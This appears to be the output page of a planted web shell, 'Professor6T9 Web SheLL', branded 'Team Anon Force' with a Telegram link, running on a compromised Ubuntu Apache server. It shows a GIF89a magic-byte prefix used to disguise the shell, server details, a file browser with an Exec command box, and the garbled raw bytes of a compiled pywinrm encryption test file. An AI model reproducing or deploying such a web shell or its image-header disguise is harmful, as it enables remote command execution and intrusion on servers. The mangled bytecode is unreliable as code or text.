GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
winrm
/
tests
/
__pycache__
[ HOME ]
Exec
Submit
test_encryption.cpython-310.pyc
o ��*Z</ � @ s� d dl Z d dlZd dlZd dlmZ d dlmZ dd� Zdd� Zdd � Z d d� Z dd � Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd� Zdd� ZG dd� de�ZG d d!� d!e�ZG d"d#� d#e�ZG d$d%� d%e�ZG d&d'� d'e�ZdS )(� N)� Encryption)� WinRMErrorc C sJ t �t�� } td d� W d � n1 sw Y dt| j�v s#J �d S )NZinvalid_protocolzCEncryption for protocol 'invalid_protocol' not supported in pywinrm)�pytest�raisesr r �str�value)�excinfo� r �=/usr/lib/python3/dist-packages/winrm/tests/test_encryption.py�test_init_with_invalid_protocol s �r c C st t � } d}d}t| d�}|�| ||�}d}d}t�dt|��}|jddd �ks)J �|jd | | | d ks8J �d S )N� unencrypted message� endpoint�ntlm� dW5lbmNyeXB0ZWQgbWVzc2FnZQ==� 1234�<iZ272zfmultipart/encrypted;protocol="application/HTTP-SPNEGO-session-encrypted";boundary="Encrypted Boundary"�zContent-Length�Content-Type�� --Encrypted Boundary Content-Type: application/HTTP-SPNEGO-session-encrypted OriginalContent: type=application/soap+xml;charset=UTF-8;Length=19 --Encrypted Boundary Content-Type: application/octet-stream � --Encrypted Boundary-- )�SessionTestr �prepare_encrypted_request�struct�pack�len�headers�body)�test_session�test_message� test_endpoint� encryption�actualZexpected_encrypted_messageZexpected_signatureZsignature_lengthr r r �test_encrypt_message s* �����r"